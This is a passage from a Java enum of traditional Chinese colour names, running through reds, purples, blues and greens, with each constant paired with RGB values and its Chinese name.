"洋水仙红", "洋水仙红色"), /** * 谷鞘红 */ GU_QIAO_HONG(new Color(241, 118, 102), "谷鞘红", "谷鞘红色"), /** * 苹果红 */ PING_GUO_HONG(new Color(241, 86, 66), "苹果红", "苹果红色"), /** * 铁水红 */ TIE_SHUI_HONG(new Color(245, 57, 28), "铁水红", "铁水红色"), /** * 桂红 */ GUI_HONG(new Color(242, 90, 71), "桂红", "桂红色"), /** * 极光红 */ JI_GUANG_HONG(new Color(243, 59, 31), "极光红", "极光红色"), /** * 粉红 */ FEN_HONG(new Color(242, 185, 178), "粉红", "粉红色"), /** * 舌红 */ SHE_HONG(new Color(241, 151, 144), "舌红", "舌红色"), /** * 曲红 */ QU_HONG(new Color(240, 90, 70), "曲红", "曲红色"), /** * 红汞红 */ HONG_GONG_HONG(new Color(242, 62, 35), "红汞红", "红汞红色"), /** * 淡绯 */ DAN_FEI(new Color(242, 202, 201), "淡绯", "淡绯色"), /** * 无花果红 */ WU_HUA_GUO_HONG(new Color(239, 175, 173), "无花果红", "无花果红色"), /** * 榴子红 */ LIU_ZI_HONG(new Color(241, 144, 140), "榴子红", "榴子红色"), /** * 胭脂红 */ YAN_ZHI_HONG(new Color(240, 63, 36), "胭脂红", "胭脂红色"), /** * 合欢红 */ HE_HUAN_HONG(new Color(240, 161, 168), "合欢红", "合欢红色"), /** * 春梅红 */ CHUN_MEI_HONG(new Color(241, 147, 156), "春梅红", "春梅红色"), /** * 香叶红 */ XIANG_YE_HONG(new Color(240, 124, 130), "香叶红", "香叶红色"), /** * 珊瑚红 */ SHAN_HU_HONG(new Color(240, 74, 58), "珊瑚红", "珊瑚红色"), /** * 萝卜红 */ LUO_BO_HONG(new Color(241, 60, 34), "萝卜红", "萝卜红色"), /** * 淡茜红 */ DAN_QIAN_HONG(new Color(231, 124, 142), "淡茜红", "淡茜红色"), /** * 艳红 */ YAN_HONG(new Color(237, 90, 101), "艳红", "艳红色"), /** * 淡菽红 */ DAN_SHU_HONG(new Color(237, 72, 69), "淡菽红", "淡菽红色"), /** * 鱼鳃红 */ YU_SAI_HONG(new Color(237, 59, 47), "鱼鳃红", "鱼鳃红色"), /** * 樱桃红 */ YING_TAO_HONG(new Color(237, 51, 33), "樱桃红", "樱桃红色"), /** * 淡蕊香红 */ DAN_RUI_XIANG_HONG(new Color(238, 72, 102), "淡蕊香红", "淡蕊香红色"), /** * 石竹红 */ SHI_ZHU_HONG(new Color(238, 72, 99), "石竹红", "石竹红色"), /** * 草茉莉红 */ CAO_MO_LI_HONG(new Color(239, 71, 93), "草茉莉红", "草茉莉红色"), /** * 茶花红 */ CHA_HUA_HONG(new Color(238, 63, 77), "茶花红", "茶花红色"), /** * 枸枢红 */ GOU_SHU_HONG(new Color(237, 51, 51), "枸枢红", "枸枢红色"), /** * 秋海棠红 */ QIU_HAI_TANG_HONG(new Color(236, 43, 36), "秋海棠红", "秋海棠红色"), /** * 丽春红 */ LI_CHUN_HONG(new Color(235, 38, 26), "丽春红", "丽春红色"), /** * 夕阳红 */ XI_YANG_HONG(new Color(222, 42, 24), "夕阳红", "夕阳红色"), /** * 鹤顶红 */ HE_DING_HONG(new Color(212, 37, 23), "鹤顶红", "鹤顶红色"), /** * 鹅血石红 */ E_XUE_SHI_HONG(new Color(171, 55, 47), "鹅血石红", "鹅血石红色"), /** * 覆盆子红 */ FU_PEN_ZI_HONG(new Color(172, 31, 24), "覆盆子红", "覆盆子红色"), /** * 貂紫 */ DIAO_ZI(new Color(93, 49, 49), "貂紫", "貂紫色"), /** * 暗玉紫 */ AN_YU_ZI(new Color(92, 34, 35), "暗玉紫", "暗玉紫色"), /** * 栗紫 */ LI_ZI(new Color(90, 25, 27), "栗紫", "栗紫色"), /** * 葡萄酱紫 */ PU_TAO_JIANG_ZI(new Color(90, 18, 22), "葡萄酱紫", "葡萄酱紫色"), /** * 牡丹粉红 */ MU_DAN_FEN_HONG(new Color(238, 162, 164), "牡丹粉红", "牡丹粉红色"), /** * 山茶红 */ SHAN_CHA_HONG(new Color(237, 85, 106), "山茶红", "山茶红色"), /** * 海棠红 */ HAI_TANG_HONG(new Color(240, 55, 82), "海棠红", "海棠红色"), /** * 玉红 */ YU_HONG(new Color(192, 72, 81), "玉红", "玉红色"), /** * 高粱红 */ GAO_LIANG_HONG(new Color(192, 44, 56), "高粱红", "高粱红色"), /** * 满江红 */ MAN_JIANG_HONG(new Color(167, 83, 90), "满江红", "满江红色"), /** * 枣红 */ ZAO_HONG(new Color(124, 24, 35), "枣红", "枣红色"), /** * 葡萄紫 */ PU_TAO_ZI(new Color(76, 31, 36), "葡萄紫", "葡萄紫色"), /** * 酱紫 */ JIANG_ZI(new Color(77, 16, 24), "酱紫", "酱紫色"), /** * 淡曙红 */ DAN_SHU_HONG1(new Color(238, 39, 70), "淡曙红", "淡曙红色"), /** * 唐菖蒲红 */ TANG_CHANG_PU_HONG(new Color(222, 28, 49), "唐菖蒲红", "唐菖蒲红色"), /** * 鹅冠红 */ E_GUAN_HONG(new Color(209, 26, 45), "鹅冠红", "鹅冠红色"), /** * 莓红 */ MEI_HONG(new Color(196, 90, 101), "莓红", "莓红色"), /** * 枫叶红 */ FENG_YE_HONG(new Color(194, 31, 48), "枫叶红", "枫叶红色"), /** * 苋菜红 */ XIAN_CAI_HONG(new Color(166, 27, 41), "苋菜红", "苋菜红色"), /** * 烟红 */ YAN_HONG1(new Color(137, 78, 84), "烟红", "烟红色"), /** * 暗紫苑红 */ AN_ZI_YUAN_HONG(new Color(130, 32, 43), "暗紫苑红", "暗紫苑红色"), /** * 殷红 */ YAN_HONG2(new Color(130, 17, 31), "殷红", "殷红色"), /** * 猪肝紫 */ ZHU_GAN_ZI(new Color(84, 30, 36), "猪肝紫", "猪肝紫色"), /** * 金鱼紫 */ JIN_YU_ZI(new Color(80, 10, 22), "金鱼紫", "金鱼紫色"), /** * 草珠红 */ CAO_ZHU_HONG(new Color(248, 235, 230), "草珠红", "草珠红色"), /** * 淡绛红 */ DAN_JIANG_HONG(new Color(236, 118, 150), "淡绛红", "淡绛红色"), /** * 品红 */ PIN_HONG(new Color(239, 52, 115), "品红", "品红色"), /** * 凤仙花红 */ FENG_XIAN_HUA_HONG(new Color(234, 114, 147), "凤仙花红", "凤仙花红色"), /** * 粉团花红 */ FEN_TUAN_HUA_HONG(new Color(236, 155, 173), "粉团花红", "粉团花红色"), /** * 夹竹桃红 */ JIA_ZHU_TAO_HONG(new Color(235, 80, 126), "夹竹桃红", "夹竹桃红色"), /** * 榲桲红 */ WEN_PO_HONG(new Color(237, 47, 106), "榲桲红", "榲桲红色"), /** * 姜红 */ JIANG_HONG(new Color(238, 184, 195), "姜红", "姜红色"), /** * 莲瓣红 */ LIAN_BAN_HONG(new Color(234, 81, 127), "莲瓣红", "莲瓣红色"), /** * 水红 */ SHUI_HONG(new Color(241, 196, 205), "水红", "水红色"), /** * 报春红 */ BAO_CHUN_HONG(new Color(236, 138, 164), "报春红", "报春红色"), /** * 月季红 */ YUE_JI_HONG(new Color(206, 87, 109), "月季红", "月季红色"), /** * 豇豆红 */ JIANG_DOU_HONG(new Color(237, 157, 178), "豇豆红", "豇豆红色"), /** * 霞光红 */ XIA_GUANG_HONG(new Color(239, 130, 160), "霞光红", "霞光红色"), /** * 松叶牡丹红 */ SONG_YE_MU_DAN_HONG(new Color(235, 60, 112), "松叶牡丹红", "松叶牡丹红色"), /** * 喜蛋红 */ XI_DAN_HONG(new Color(236, 44, 100), "喜蛋红", "喜蛋红色"), /** * 鼠鼻红 */ SHU_BI_HONG(new Color(227, 180, 184), "鼠鼻红", "鼠鼻红色"), /** * 尖晶玉红 */ JIAN_JING_YU_HONG(new Color(204, 22, 58), "尖晶玉红", "尖晶玉红色"), /** * 山黎豆红 */ SHAN_LI_DOU_HONG(new Color(194, 124, 136), "山黎豆红", "山黎豆红色"), /** * 锦葵红 */ JIN_KUI_HONG(new Color(191, 53, 83), "锦葵红", "锦葵红色"), /** * 鼠背灰 */ SHU_BEI_HUI(new Color(115, 87, 92), "鼠背灰", "鼠背灰色"), /** * 甘蔗紫 */ GAN_ZHE_ZI(new Color(98, 22, 36), "甘蔗紫", "甘蔗紫色"), /** * 石竹紫 */ SHI_ZHU_ZI(new Color(99, 7, 28), "石竹紫", "石竹紫色"), /** * 苍蝇灰 */ CANG_YING_HUI(new Color(54, 40, 43), "苍蝇灰", "苍蝇灰色"), /** * 卵石紫 */ LUAN_SHI_ZI(new Color(48, 22, 28), "卵石紫", "卵石紫色"), /** * 李紫 */ LI_ZI1(new Color(43, 18, 22), "李紫", "李紫色"), /** * 茄皮紫 */ QIE_PI_ZI(new Color(45, 12, 19), "茄皮紫", "茄皮紫色"), /** * 吊钟花红 */ DIAO_ZHONG_HUA_HONG(new Color(206, 94, 138), "吊钟花红", "吊钟花红色"), /** * 兔眼红 */ TU_YAN_HONG(new Color(236, 78, 138), "兔眼红", "兔眼红色"), /** * 紫荆红 */ ZI_JING_HONG(new Color(238, 44, 121), "紫荆红", "紫荆红色"), /** * 菜头紫 */ CAI_TOU_ZI(new Color(149, 28, 72), "菜头紫", "菜头紫色"), /** * 鹞冠紫 */ YAO_GUAN_ZI(new Color(98, 29, 52), "鹞冠紫", "鹞冠紫色"), /** * 葡萄酒红 */ PU_TAO_JIU_HONG(new Color(98, 16, 46), "葡萄酒红", "葡萄酒红色"), /** * 磨石紫 */ MO_SHI_ZI(new Color(56, 33, 41), "磨石紫", "磨石紫色"), /** * 檀紫 */ TAN_ZI(new Color(56, 25, 36), "檀紫", "檀紫色"), /** * 火鹅紫 */ HUO_EZI(new Color(51, 20, 30), "火鹅紫", "火鹅紫色"), /** * 墨紫 */ MO_ZI(new Color(49, 15, 27), "墨紫", "墨紫色"), /** * 晶红 */ JING_HONG(new Color(238, 166, 183), "晶红", "晶红色"), /** * 扁豆花红 */ BIAN_DOU_HUA_HONG(new Color(239, 73, 139), "扁豆花红", "扁豆花红色"), /** * 白芨红 */ BAI_JI_HONG(new Color(222, 120, 151), "白芨红", "白芨红色"), /** * 嫩菱红 */ NEN_LING_HONG(new Color(222, 63, 124), "嫩菱红", "嫩菱红色"), /** * 菠根红 */ BO_GEN_HONG(new Color(209, 60, 116), "菠根红", "菠根红色"), /** * 酢酱草红 */ CU_JIANG_CAO_HONG(new Color(197, 112, 139), "酢酱草红", "酢酱草红色"), /** * 洋葱紫 */ YANG_CONG_ZI(new Color(168, 69, 107), "洋葱紫", "洋葱紫色"), /** * 海象紫 */ HAI_XIANG_ZI(new Color(75, 30, 47), "海象紫", "海象紫色"), /** * 绀紫 */ GAN_ZI(new Color(70, 22, 41), "绀紫", "绀紫色"), /** * 古铜紫 */ GU_TONG_ZI(new Color(68, 14, 37), "古铜紫", "古铜紫色"), /** * 石蕊红 */ SHI_RUI_HONG(new Color(240, 201, 207), "石蕊红", "石蕊红色"), /** * 芍药耕红 */ SHAO_YAO_GENG_HONG(new Color(235, 160, 179), "芍药耕红", "芍药耕红色"), /** * 藏花红 */ CANG_HUA_HONG(new Color(236, 45, 122), "藏花红", "藏花红色"), /** * 初荷红 */ CHU_HE_HONG(new Color(225, 108, 150), "初荷红", "初荷红色"), /** * 马鞭草紫 */ MA_BIAN_CAO_ZI(new Color(237, 227, 231), "马鞭草紫", "马鞭草紫色"), /** * 丁香淡紫 */ DING_XIANG_DAN_ZI(new Color(233, 215, 223), "丁香淡紫", "丁香淡紫色"), /** * 丹紫红 */ DAN_ZI_HONG(new Color(210, 86, 140), "丹紫红", "丹紫红色"), /** * 玫瑰红 */ MEI_GUI_HONG(new Color(210, 53, 125), "玫瑰红", "玫瑰红色"), /** * 淡牵牛紫 */ DAN_QIAN_NIU_ZI(new Color(209, 194, 211), "淡牵牛紫", "淡牵牛紫色"), /** * 凤信紫 */ FENG_XIN_ZI(new Color(200, 173, 196), "凤信紫", "凤信紫色"), /** * 萝兰紫 */ LUO_LAN_ZI(new Color(192, 142, 175), "萝兰紫", "萝兰紫色"), /** * 玫瑰紫 */ MEI_GUI_ZI(new Color(186, 47, 123), "玫瑰紫", "玫瑰紫色"), /** * 藤萝紫 */ TENG_LUO_ZI(new Color(128, 118, 163), "藤萝紫", "藤萝紫色"), /** * 槿紫 */ JIN_ZI(new Color(128, 109, 158), "槿紫", "槿紫色"), /** * 蕈紫 */ XUN_ZI(new Color(129, 92, 148), "蕈紫", "蕈紫色"), /** * 桔梗紫 */ JIE_GENG_ZI(new Color(129, 60, 133), "桔梗紫", "桔梗紫色"), /** * 魏紫 */ WEI_ZI(new Color(126, 22, 113), "魏紫", "魏紫色"), /** * 芝兰紫 */ ZHI_LAN_ZI(new Color(233, 204, 211), "芝兰紫", "芝兰紫色"), /** * 菱锰红 */ LING_MENG_HONG(new Color(210, 118, 163), "菱锰红", "菱锰红色"), /** * 龙须红 */ LONG_XU_HONG(new Color(204, 85, 149), "龙须红", "龙须红色"), /** * 蓟粉红 */ JI_FEN_HONG(new Color(230, 210, 213), "蓟粉红", "蓟粉红色"), /** * 电气石红 */ DIAN_QI_SHI_HONG(new Color(195, 86, 145), "电气石红", "电气石红色"), /** * 樱草紫 */ YING_CAO_ZI(new Color(192, 111, 152), "樱草紫", "樱草紫色"), /** * 芦穗灰 */ LU_SUI_HUI(new Color(189, 174, 173), "芦穗灰", "芦穗灰色"), /** * 隐红灰 */ YIN_HONG_HUI(new Color(181, 152, 161), "隐红灰", "隐红灰色"), /** * 苋菜紫 */ XIAN_CAI_ZI(new Color(155, 30, 100), "苋菜紫", "苋菜紫色"), /** * 芦灰 */ LU_HUI(new Color(133, 109, 114), "芦灰", "芦灰色"), /** * 暮云灰 */ MU_YUN_HUI(new Color(79, 56, 62), "暮云灰", "暮云灰色"), /** * 斑鸠灰 */ BAN_JIU_HUI(new Color(72, 41, 54), "斑鸠灰", "斑鸠灰色"), /** * 淡藤萝紫 */ DAN_TENG_LUO_ZI(new Color(242, 231, 229), "淡藤萝紫", "淡藤萝紫色"), /** * 淡青紫 */ DAN_QING_ZI(new Color(224, 200, 209), "淡青紫", "淡青紫色"), /** * 青蛤壳紫 */ QING_HA_KE_ZI(new Color(188, 132, 168), "青蛤壳紫", "青蛤壳紫色"), /** * 豆蔻紫 */ DOU_KOU_ZI(new Color(173, 101, 152), "豆蔻紫", "豆蔻紫色"), /** * 扁豆紫 */ BIAN_DOU_ZI(new Color(163, 92, 143), "扁豆紫", "扁豆紫色"), /** * 芥花紫 */ JIE_HUA_ZI(new Color(152, 54, 128), "芥花紫", "芥花紫色"), /** * 青莲 */ QING_LIAN(new Color(139, 38, 113), "青莲", "青莲色"), /** * 芓紫 */ ZI_ZI(new Color(137, 66, 118), "芓紫", "芓紫色"), /** * 葛巾紫 */ GE_JIN_ZI(new Color(126, 32, 101), "葛巾紫", "葛巾紫色"), /** * 牵牛紫 */ QIAN_NIU_ZI(new Color(104, 23, 82), "牵牛紫", "牵牛紫色"), /** * 紫灰 */ ZI_HUI(new Color(93, 63, 81), "紫灰", "紫灰色"), /** * 龙睛鱼紫 */ LONG_JING_YU_ZI(new Color(78, 42, 64), "龙睛鱼紫", "龙睛鱼紫色"), /** * 荸荠紫 */ BI_QI_ZI(new Color(65, 28, 53), "荸荠紫", "荸荠紫色"), /** * 古鼎灰 */ GU_DING_HUI(new Color(54, 41, 47), "古鼎灰", "古鼎灰色"), /** * 乌梅紫 */ WU_MEI_ZI(new Color(30, 19, 29), "乌梅紫", "乌梅紫色"), /** * 深牵牛紫 */ SHEN_QIAN_NIU_ZI(new Color(28, 13, 26), "深牵牛紫", "深牵牛紫色"), /** * 银白 */ YIN_BAI(new Color(241, 240, 237), "银白", "银白色"), /** * 芡食白 */ QIAN_SHI_BAI(new Color(226, 225, 228), "芡食白", "芡食白色"), /** * 远山紫 */ YUAN_SHAN_ZI(new Color(204, 204, 214), "远山紫", "远山紫色"), /** * 淡蓝紫 */ DAN_LAN_ZI(new Color(167, 168, 189), "淡蓝紫", "淡蓝紫色"), /** * 山梗紫 */ SHAN_GENG_ZI(new Color(97, 100, 159), "山梗紫", "山梗紫色"), /** * 螺甸紫 */ LUO_DIAN_ZI(new Color(116, 117, 155), "螺甸紫", "螺甸紫色"), /** * 玛瑙灰 */ MA_NAO_HUI(new Color(207, 204, 201), "玛瑙灰", "玛瑙灰色"), /** * 野菊紫 */ YE_JU_ZI(new Color(82, 82, 136), "野菊紫", "野菊紫色"), /** * 满天星紫 */ MAN_TIAN_XING_ZI(new Color(46, 49, 124), "满天星紫", "满天星紫色"), /** * 锌灰 */ XIN_HUI(new Color(122, 115, 116), "锌灰", "锌灰色"), /** * 野葡萄紫 */ YE_PU_TAO_ZI(new Color(48, 47, 75), "野葡萄紫", "野葡萄紫色"), /** * 剑锋紫 */ JIAN_FENG_ZI(new Color(62, 56, 65), "剑锋紫", "剑锋紫色"), /** * 龙葵紫 */ LONG_KUI_ZI(new Color(50, 47, 59), "龙葵紫", "龙葵紫色"), /** * 暗龙胆紫 */ AN_LONG_DAN_ZI(new Color(34, 32, 46), "暗龙胆紫", "暗龙胆紫色"), /** * 晶石紫 */ JING_SHI_ZI(new Color(31, 32, 64), "晶石紫", "晶石紫色"), /** * 暗蓝紫 */ AN_LAN_ZI(new Color(19, 17, 36), "暗蓝紫", "暗蓝紫色"), /** * 景泰蓝 */ JING_TAI_LAN(new Color(39, 117, 182), "景泰蓝", "景泰蓝色"), /** * 尼罗蓝 */ NI_LUO_LAN(new Color(36, 116, 181), "尼罗蓝", "尼罗蓝色"), /** * 远天蓝 */ YUAN_TIAN_LAN(new Color(208, 223, 230), "远天蓝", "远天蓝色"), /** * 星蓝 */ XING_LAN(new Color(147, 181, 207), "星蓝", "星蓝色"), /** * 羽扇豆蓝 */ YU_SHAN_DOU_LAN(new Color(97, 154, 195), "羽扇豆蓝", "羽扇豆蓝色"), /** * 花青 */ HUA_QING(new Color(35, 118, 183), "花青", "花青色"), /** * 睛蓝 */ JING_LAN(new Color(86, 152, 195), "睛蓝", "睛蓝色"), /** * 虹蓝 */ HONG_LAN(new Color(33, 119, 184), "虹蓝", "虹蓝色"), /** * 湖水蓝 */ HU_SHUI_LAN(new Color(176, 213, 223), "湖水蓝", "湖水蓝色"), /** * 秋波蓝 */ QIU_BO_LAN(new Color(138, 188, 209), "秋波蓝", "秋波蓝色"), /** * 涧石蓝 */ JIAN_SHI_LAN(new Color(102, 169, 201), "涧石蓝", "涧石蓝色"), /** * 潮蓝 */ CHAO_LAN(new Color(41, 131, 187), "潮蓝", "潮蓝色"), /** * 群青 */ QUN_QING(new Color(23, 114, 180), "群青", "群青色"), /** * 霁青 */ JI_QING(new Color(99, 187, 208), "霁青", "霁青色"), /** * 碧青 */ BI_QING(new Color(92, 179, 204), "碧青", "碧青色"), /** * 宝石蓝 */ BAO_SHI_LAN(new Color(36, 134, 185), "宝石蓝", "宝石蓝色"), /** * 天蓝 */ TIAN_LAN(new Color(22, 119, 179), "天蓝", "天蓝色"), /** * 柏林蓝 */ BO_LIN_LAN(new Color(18, 107, 174), "柏林蓝", "柏林蓝色"), /** * 海青 */ HAI_QING(new Color(34, 162, 195), "海青", "海青色"), /** * 钴蓝 */ GU_LAN(new Color(26, 148, 188), "钴蓝", "钴蓝色"), /** * 鸢尾蓝 */ YUAN_WEI_LAN(new Color(21, 139, 184), "鸢尾蓝", "鸢尾蓝色"), /** * 牵牛花蓝 */ QIAN_NIU_HUA_LAN(new Color(17, 119, 176), "牵牛花蓝", "牵牛花蓝色"), /** * 飞燕草蓝 */ FEI_YAN_CAO_LAN(new Color(15, 89, 164), "飞燕草蓝", "飞燕草蓝色"), /** * 品蓝 */ PIN_LAN(new Color(43, 115, 175), "品蓝", "品蓝色"), /** * 银鱼白 */ YIN_YU_BAI(new Color(205, 209, 211), "银鱼白", "银鱼白色"), /** * 安安蓝 */ AN_AN_LAN(new Color(49, 112, 167), "安安蓝", "安安蓝色"), /** * 鱼尾灰 */ YU_WEI_HUI(new Color(94, 97, 109), "鱼尾灰", "鱼尾灰色"), /** * 鲸鱼灰 */ JING_YU_HUI(new Color(71, 81, 100), "鲸鱼灰", "鲸鱼灰色"), /** * 海参灰 */ HAI_SHEN_HUI(new Color(255, 254, 250), "海参灰", "海参灰色"), /** * 沙鱼灰 */ SHA_YU_HUI(new Color(53, 51, 60), "沙鱼灰", "沙鱼灰色"), /** * 钢蓝 */ GANG_LAN(new Color(15, 20, 35), "钢蓝", "钢蓝色"), /** * 云水蓝 */ YUN_SHUI_LAN(new Color(186, 204, 217), "云水蓝", "云水蓝色"), /** * 晴山蓝 */ QING_SHAN_LAN(new Color(143, 178, 201), "晴山蓝", "晴山蓝色"), /** * 靛青 */ DIAN_QING(new Color(22, 97, 171), "靛青", "靛青色"), /** * 大理石灰 */ DA_LI_SHI_HUI(new Color(196, 203, 207), "大理石灰", "大理石灰色"), /** * 海涛蓝 */ HAI_TAO_LAN(new Color(21, 85, 154), "海涛蓝", "海涛蓝色"), /** * 蝶翅蓝 */ DIE_CHI_LAN(new Color(78, 124, 161), "蝶翅蓝", "蝶翅蓝色"), /** * 海军蓝 */ HAI_JUN_LAN(new Color(52, 108, 156), "海军蓝", "海军蓝色"), /** * 水牛灰 */ SHUI_NIU_HUI(new Color(47, 47, 53), "水牛灰", "水牛灰色"), /** * 牛角灰 */ NIU_JIAO_HUI(new Color(45, 46, 54), "牛角灰", "牛角灰色"), /** * 燕颔蓝 */ YAN_HAN_LAN(new Color(19, 24, 36), "燕颔蓝", "燕颔蓝色"), /** * 云峰白 */ YUN_FENG_BAI(new Color(216, 227, 231), "云峰白", "云峰白色"), /** * 井天蓝 */ JING_TIAN_LAN(new Color(195, 215, 223), "井天蓝", "井天蓝色"), /** * 云山蓝 */ YUN_SHAN_LAN(new Color(47, 144, 185), "云山蓝", "云山蓝色"), /** * 釉蓝 */ YOU_LAN(new Color(23, 129, 181), "釉蓝", "釉蓝色"), /** * 鸥蓝 */ OU_LAN(new Color(199, 210, 212), "鸥蓝", "鸥蓝色"), /** * 搪磁蓝 */ TANG_CI_LAN(new Color(17, 101, 154), "搪磁蓝", "搪磁蓝色"), /** * 月影白 */ YUE_YING_BAI(new Color(192, 196, 195), "月影白", "月影白色"), /** * 星灰 */ XING_HUI(new Color(178, 187, 190), "星灰", "星灰色"), /** * 淡蓝灰 */ DAN_LAN_HUI(new Color(94, 121, 135), "淡蓝灰", "淡蓝灰色"), /** * 鷃蓝 */ YAN_LAN(new Color(20, 74, 116), "鷃蓝", "鷃蓝色"), /** * 嫩灰 */ NEN_HUI(new Color(116, 120, 122), "嫩灰", "嫩灰色"), /** * 战舰灰 */ ZHAN_JIAN_HUI(new Color(73, 92, 105), "战舰灰", "战舰灰色"), /** * 瓦罐灰 */ WA_GUAN_HUI(new Color(71, 72, 76), "瓦罐灰", "瓦罐灰色"), /** * 青灰 */ QING_HUI(new Color(43, 51, 62), "青灰", "青灰色"), /** * 鸽蓝 */ GE_LAN(new Color(28, 41, 56), "鸽蓝", "鸽蓝色"), /** * 钢青 */ GANG_QING(new Color(20, 35, 52), "钢青", "钢青色"), /** * 暗蓝 */ AN_LAN(new Color(16, 31, 48), "暗蓝", "暗蓝色"), /** * 月白 */ YUE_BAI(new Color(238, 247, 242), "月白", "月白色"), /** * 海天蓝 */ HAI_TIAN_LAN(new Color(198, 230, 232), "海天蓝", "海天蓝色"), /** * 清水蓝 */ QING_SHUI_LAN(new Color(147, 213, 220), "清水蓝", "清水蓝色"), /** * 瀑布蓝 */ PU_BU_LAN(new Color(81, 196, 211), "瀑布蓝", "瀑布蓝色"), /** * 蔚蓝 */ WEI_LAN(new Color(41, 183, 203), "蔚蓝", "蔚蓝色"), /** * 孔雀蓝 */ KONG_QUE_LAN(new Color(14, 176, 201), "孔雀蓝", "孔雀蓝色"), /** * 甸子蓝 */ DIAN_ZI_LAN(new Color(16, 174, 194), "甸子蓝", "甸子蓝色"), /** * 石绿 */ SHI_LV(new Color(87, 195, 194), "石绿", "石绿色"), /** * 竹篁绿 */ ZHU_HUANG_LV(new Color(185, 222, 201), "竹篁绿", "竹篁绿色"), /** * 粉绿 */ FEN_LV(new Color(131, 203, 172), "粉绿", "粉绿色"), /** * 美蝶绿 */ MEI_DIE_LV(new Color(18, 170, 156), "美蝶绿", "美蝶绿色"), /** * 毛绿 */ MAO_LV(new Color(102, 193, 140), "毛绿", "毛绿色"), /** * 蔻梢绿 */ KOU_SHAO_LV(new Color(93, 190, 138), "蔻梢绿", "蔻梢绿色"), /** * 麦苗绿 */ MAI_MIAO_LV(new Color(85, 187, 138), "麦苗绿", "麦苗绿色"), /** * 蛙绿 */ WA_LV(new Color(69, 183, 135), "蛙绿", "蛙绿色"), /** * 铜绿 */ TONG_LV(new Color(43, 174, 133), "铜绿", "铜绿色"), /** * 竹绿 */ ZHU_LV(new Color(27, 167, 132), "竹绿", "竹绿色"), /** * 蓝绿 */ LAN_LV(new Color(18, 161, 130), "蓝绿", "蓝绿色"), /** * 穹灰 */ QIONG_HUI(new Color(196, 215, 214), "穹灰", "穹灰色"), /** * 翠蓝 */ CUI_LAN(new Color(30, 158, 179), "翠蓝", "翠蓝色"), /** * 胆矾蓝 */ DAN_FAN_LAN(new Color(15, 149, 176), "胆矾蓝", "胆矾蓝色"), /** * 樫鸟蓝 */ JIAN_NIAO_LAN(new Color(20, 145, 168), "樫鸟蓝", "樫鸟蓝色"), /** * 闪蓝 */ SHAN_LAN(new Color(124, 171, 177), "闪蓝", "闪蓝色"), /** * 冰山蓝 */ BING_SHAN_LAN(new Color(164, 172, 167), "冰山蓝", "冰山蓝色"), /** * 虾壳青 */ XIA_KE_QING(new Color(134, 157, 157), "虾壳青", "虾壳青色"), /** * 晚波蓝 */ WAN_BO_LAN(new Color(100, 142, 147), "晚波蓝", "晚波蓝色"), /** * 蜻蜓蓝 */ QING_TING_LAN(new Color(59, 129, 140), "蜻蜓蓝", "蜻蜓蓝色"), /** * 玉鈫蓝 */ YU_QIN_LAN(new Color(18, 110, 130), "玉鈫蓝", "玉鈫蓝色"), /** * 垩灰 */ E_HUI(new Color(115, 124, 123), "垩灰", "垩灰色"), /** * 夏云灰 */ XIA_YUN_HUI(new Color(97, 113, 114), "夏云灰", "夏云灰色"), /** * 苍蓝 */ CANG_LAN(new Color(19, 72, 87), "苍蓝", "苍蓝色"), /** * 黄昏灰 */ HUANG_HUN_HUI(new Color(71, 75, 76), "黄昏灰", "黄昏灰色"), /** * 灰蓝 */ HUI_LAN(new Color(33, 55, 61), "灰蓝", "灰蓝色"), /** * 深灰蓝 */ SHEN_HUI_LAN(new Color(19, 44, 51), "深灰蓝", "深灰蓝色"), /** * 玉簪绿 */ YU_ZAN_LV(new Color(164, 202, 182), "玉簪绿", "玉簪绿色"), /** * 青矾绿 */ QING_FAN_LV(new Color(44, 150, 120), "青矾绿", "青矾绿色"), /** * 草原远绿 */ CAO_YUAN_YUAN_LV(new Color(154, 190, 175), "草原远绿", "草原远绿色"), /** * 梧枝绿 */ WU_ZHI_LV(new Color(105, 167, 148), "梧枝绿", "梧枝绿色"), /** * 浪花绿 */ LANG_HUA_LV(new Color(146, 179, 165), "浪花绿", "浪花绿色"), /** * 海王绿 */ HAI_WANG_LV(new Color(36, 128, 103), "海王绿", "海王绿色"), /** * 亚丁绿 */ YA_DING_LV(new Color(66, 134, 117), "亚丁绿", "亚丁绿色"), /** * 镍灰 */ NIE_HUI(new Color(159, 163, 154), "镍灰", "镍灰色"), /** * 明灰 */ MING_HUI(new Color(138, 152, 142), "明灰", "明灰色"), /** * 淡绿灰 */ DAN_LV_HUI(new Color(112, 136, 125), "淡绿灰", "淡绿灰色"), /** * 飞泉绿 */ FEI_QUAN_LV(new Color(73, 117, 104), "飞泉绿", "飞泉绿色"), /** * 狼烟灰 */ LANG_YAN_HUI(new Color(93, 101, 95), "狼烟灰", "狼烟灰色"), /** * 绿灰 */ LV_HUI(new Color(49, 74, 67), "绿灰", "绿灰色"), /** * 苍绿 */ CANG_LV(new Color(34, 62, 54), "苍绿", "苍绿色"), /** * 深海绿 */ SHEN_HAI_LV(new Color(26, 59, 50), "深海绿", "深海绿色"), /** * 长石灰 */ CHANG_SHI_HUI(new Color(54, 52, 51), "长石灰", "长石灰色"), /** * 苷蓝绿 */ GAN_LAN_LV1(new Color(31, 38, 35), "苷蓝绿", "苷蓝绿色"), /** * 莽丛绿 */ MANG_CONG_LV(new Color(20, 30, 27), "莽丛绿", "莽丛绿色"), /** * 淡翠绿 */ DAN_CUI_LV(new Color(198, 223, 200), "淡翠绿", "淡翠绿色"), /** * 明绿 */ MING_LV(new Color(158, 204, 171), "明绿", "明绿色"), /** * 田园绿 */ TIAN_YUAN_LV(new Color(104, 184, 142), "田园绿", "田园绿色"), /** * 翠绿 */ CUI_LV(new Color(32, 161, 98), "翠绿", "翠绿色"), /** * 淡绿 */ DAN_LV(new Color(97, 172, 133), "淡绿", "淡绿色"), /** * 葱绿 */ CONG_LV(new Color(64, 160, 112), "葱绿", "葱绿色"), /** * 孔雀绿 */ KONG_QUE_LV(new Color(34, 148, 83), "孔雀绿", "孔雀绿色"), /** * 艾绿 */ AI_LV(new Color(202, 211, 195), "艾绿", "艾绿色"), /** * 蟾绿 */ CHAN_LV(new Color(60, 149, 102), "蟾绿", "蟾绿色"), /** * 宫殿绿 */ GONG_DIAN_LV(new Color(32, 137, 77), "宫殿绿", "宫殿绿色"), /** * 松霜绿 */ SONG_SHUANG_LV(new Color(131, 167, 141), "松霜绿", "松霜绿色"), /** * 蛋白石绿 */ DAN_BAI_SHI_LV(new Color(87, 149, 114), "蛋白石绿", "蛋白石绿色"), /** * 薄荷绿 */ BO_HE_LV(new Color(32, 127, 76), "薄荷绿", "薄荷绿色"), /** * 瓦松绿 